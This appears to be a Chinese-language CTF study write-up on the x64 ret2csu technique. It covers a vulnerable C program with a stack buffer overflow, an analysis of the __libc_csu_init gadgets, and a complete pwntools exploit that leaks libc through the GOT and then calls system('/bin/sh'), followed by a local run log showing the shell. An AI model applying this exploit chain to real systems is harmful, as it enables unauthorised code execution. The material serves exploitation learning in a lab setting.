Pwn 学习 question_5_plus_x64 ret2csu
1.源代码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int dofunc(){
char b[8] = {};
write(1,"input:",6);
read(0,b,0x200);
//printf(b);
write(1,"bye",3);
return 0;
}
int main(){
dofunc();
return 0;
}
2.源代码分析
- 没有后门函数
- 没有/bin/sh
- 第二个write只输出了三个字符
- 导致rdx会被修改成3
- 而且没有可控rdx的gadget
- 这个时候就要花式栈溢出!!!
- 在函数编译的时候都会生成一个 libc_csu_init 函数:如下图
- 这个函数的末尾调用了几乎所有的寄存器
- 我们可以控制程序来到csu来修改寄存器的值
- 但是这个方法需要溢出的量比较大
- 所以要清楚溢出的能否支撑布栈
3._libc_csu_init 分析
- 截取这个函数有用的部分来分析一下利用过程
.text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8 mov rdx, r14
.text:00000000004011EB mov rsi, r13
.text:00000000004011EE mov edi, r12d
.text:00000000004011F1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004011F5 add rbx, 1
.text:00000000004011F9 cmp rbp, rbx
.text:00000000004011FC jnz short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE add rsp, 8
.text:0000000000401202 pop rbx
.text:0000000000401203 pop rbp
.text:0000000000401204 pop r12
.text:0000000000401206 pop r13
.text:0000000000401208 pop r14
.text:000000000040120A pop r15
.text:000000000040120C retn
- 可以看到这个函数调用了很多寄存器
- 其中有我们要控制的rdx
- ret2csu适合控制3个参数的函数调用
.text:00000000004011E8 mov rdx, r14
- 从第一行看
r14 -> rdx
r13 -> rsi
r12d -> edi //r12d就是r12的底四位,这里不影响我们传参
然后call [r15 + rbx * 8] // 这里只要把rbx赋值成0就可以直接call [rbx]
然后 rbx = rbx + 1
将rbp和rbx作比较
如果不等于0就跳转到 0x4011E8 //控制rbp和rbx相等即可继续执行下面的ret了
下面:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
就可以用来修改寄存器
- 看一下布栈情况
4.ROP编程
- 上面我们已经完成了第一次溢出
- 成功的打印了write的函数地址
- 现在要计算libc_base_addr
- 然后计算system_addr
- 再计算"/bin/sh"的地址
- 看一下计算过程
libc_file = './libc-2.33.so'
libc = ELF(libc_file)
io.recvuntil('bye')
write_addr = u64(io.recv(8)) # 解压
print('write_addr:',hex(write_addr))
write_offset = elf.symbols['write'] # libc也可用ELF函数打开
print('write_offset:', write_offset)
libc_addr = write_addr - write_offset
print('libc_addr:',hex(libc_addr))
system_offset = elf.symbols['system']
print('system_offset:', system_offset)
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))
bin_sh_offset = next(libc.search(b'/bin/sh')) # 寻找字符串偏移的方式
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_offset:', bin_sh_offset)
print('bin_sh_addr:',hex(bin_sh_addr))
- 然后第二次溢出
- 这个时候把system的地址打进去
- 再把/bin/sh也打进去就可以成功控制函数了
5.ropper看以下gadget
- 这个时候只需要rdi就够了
- 因为我们只传一个参数
6.exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux') #这个可以决定flat函数自动补充的类型
io = process('./question_5_plus_x64_bak')
elf = ELF('question_5_plus_x64_bak')
padding = 16
leak_func_got = elf.got['write']
func_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
#gdb.attach(io)
#pause()
pop_rbx_addr = 0x401202
rbx = 0
rbp = 1
r12 = 1
r13 = leak_func_got
r14 = 8
r15 = elf.got['write']
mov_rdx_addr = 0x4011E8
rbx_1 = 0xdeadbeef
rbp_1 = 0xdeadbeef
r12_1 = 0xdeadbeef
r13_1 = 0xdeadbeef
r14_1 = 0xdeadbeef
r15_1 = 0xdeadbeef
ret_addr = func_addr
payload = flat([b'a'* padding, pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_addr, 0xdeadbeef, rbx_1, rbp_1, r12_1, r13_1, r14_1, r15_1, ret_addr]) #ret2csu
print(payload)
io.sendlineafter('input:',payload)
# 以下调用都是libc的,需要使用libc文件查看,所有的偏移都是基于libc版本
libc_file = './libc-2.33.so'
libc = ELF(libc_file)
io.recvuntil('bye')
write_addr = u64(io.recv(8)) # 解压
print('write_addr:',hex(write_addr))
# 这里要注意,因为我是本地编译,所以没用lincseracher
# 大家自己尝试的时候要使用自己的libc版本
# 这里可以去网站上自己搜索一下
# 学习一下有关libcsearch的东西
# 网站附下
# 可能需要科学上网
write_offset = 0xEE5F0 # libc也可用ELF函数打开 这里的地址是我直接去ida64看的,以后会详细介绍一下libcsearcher
print('write_offset:', write_offset)
libc_addr = write_addr - write_offset
print('libc_addr:',hex(libc_addr))
system_offset = 0x49860
print('system_offset:', system_offset)
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))
bin_sh_offset = 0x198882 # 寻找字符串偏移的方式
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_offset:', bin_sh_offset)
print('bin_sh_addr:',hex(bin_sh_addr))
pop_rdi_ret = 0x40120b
payload2 = flat([b'a' * padding, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('input:',payload2)
# io.recvuntil('bye')
io.interactive()
点击跳转 libc database search
7.看一下效果
┌──(lwj㉿kali)-[~/桌面/git/ctf-pwn/question_5]
└─$ python3 exp_5_plus_x64.py
[+] Starting local process './question_5_plus_x64_bak' argv=[b'./question_5_plus_x64_bak'] : pid 96327
[*] '/home/lwj/桌面/git/ctf-pwn/question_5/question_5_plus_x64_bak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
b'aaaaaaaaaaaaaaaa\x02\x12@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00\xe8\x11@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x006\x11@\x00\x00\x00\x00\x00'
/home/lwj/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x6 bytes:
b'input:'
[DEBUG] Sent 0x91 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 02 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000020 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 │····│····│····│····│
00000030 18 40 40 00 00 00 00 00 08 00 00 00 00 00 00 00 │·@@·│····│····│····│
00000040 18 40 40 00 00 00 00 00 e8 11 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000050 ef be ad de 00 00 00 00 ef be ad de 00 00 00 00 │····│····│····│····│
*
00000080 ef be ad de 00 00 00 00 36 11 40 00 00 00 00 00 │····│····│6·@·│····│
00000090 0a │·│
00000091
[*] '/home/lwj/桌面/git/ctf-pwn/question_5/libc-2.33.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/lwj/桌面/git/ctf-pwn/question_5/exp_5_plus_x64.py:44: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('bye')
[DEBUG] Received 0x11 bytes:
00000000 62 79 65 f0 75 2f f7 ab 7f 00 00 69 6e 70 75 74 │bye·│u/··│···i│nput│
00000010 3a │:│
00000011
write_addr: 0x7fabf72f75f0
write_offset: 976368
libc_addr: 0x7fabf7209000
system_offset: 301152
system_addr: 0x7fabf7252860
bin_sh_offset: 1673346
bin_sh_addr: 0x7fabf73a1882
[DEBUG] Sent 0x29 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 0b 12 40 00 00 00 00 00 82 18 3a f7 ab 7f 00 00 │··@·│····│··:·│····│
00000020 60 28 25 f7 ab 7f 00 00 0a │`(%·│····│·│
00000029
[*] Switching to interactive mode
[DEBUG] Received 0x3 bytes:
b'bye'
bye$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0xd2 bytes:
b'core\t\t libc-2.33.so\t\t question_5_plus_x64.c test.c\n'
b'exp_5_plus_x64.py question_5.c\t\t question_5_x64\n'
b'exp_5_x64.py\t question_5_plus_x64\t question_5_x86\n'
b'exp_5_x86.py\t question_5_plus_x64_bak test\n'
core libc-2.33.so question_5_plus_x64.c test.c
exp_5_plus_x64.py question_5.c question_5_x64
exp_5_x64.py question_5_plus_x64 question_5_x86
exp_5_x86.py question_5_plus_x64_bak test
$ ──(lwj㉿kali)-[~/桌面/git/ctf-pwn/question_5]
[DEBUG] Sent 0x35 bytes:
00000000 e2 94 80 e2 94 80 28 6c 77 6a e3 89 bf 6b 61 6c │····│··(l│wj··│·kal│
00000010 69 29 2d 5b 7e 2f e6 a1 8c e9 9d a2 2f 67 69 74 │i)-[│~/··│····│/git│
00000020 2f 63 74 66 2d 70 77 6e 2f 71 75 65 73 74 69 6f │/ctf│-pwn│/que│stio│
00000030 6e 5f 35 5d 0a │n_5]│·│
00000035
[DEBUG] Received 0x3a bytes:
b'/bin/sh: 2: Syntax error: word unexpected (expecting ")")\n'
/bin/sh: 2: Syntax error: word unexpected (expecting ")")
[*] Got EOF while reading in interactive
$ └─$ python3 exp_5_plus_x64.py
[DEBUG] Sent 0x22 bytes:
00000000 e2 94 94 e2 94 80 24 20 70 79 74 68 6f 6e 33 20 │····│··$ │pyth│on3 │
00000010 65 78 70 5f 35 5f 70 6c 75 73 5f 78 36 34 2e 70 │exp_│5_pl│us_x│64.p│
00000020 79 0a │y·│
00000022
[*] Process './question_5_plus_x64_bak' stopped with exit code -11 (SIGSEGV) (pid 96327)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
File "/home/lwj/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe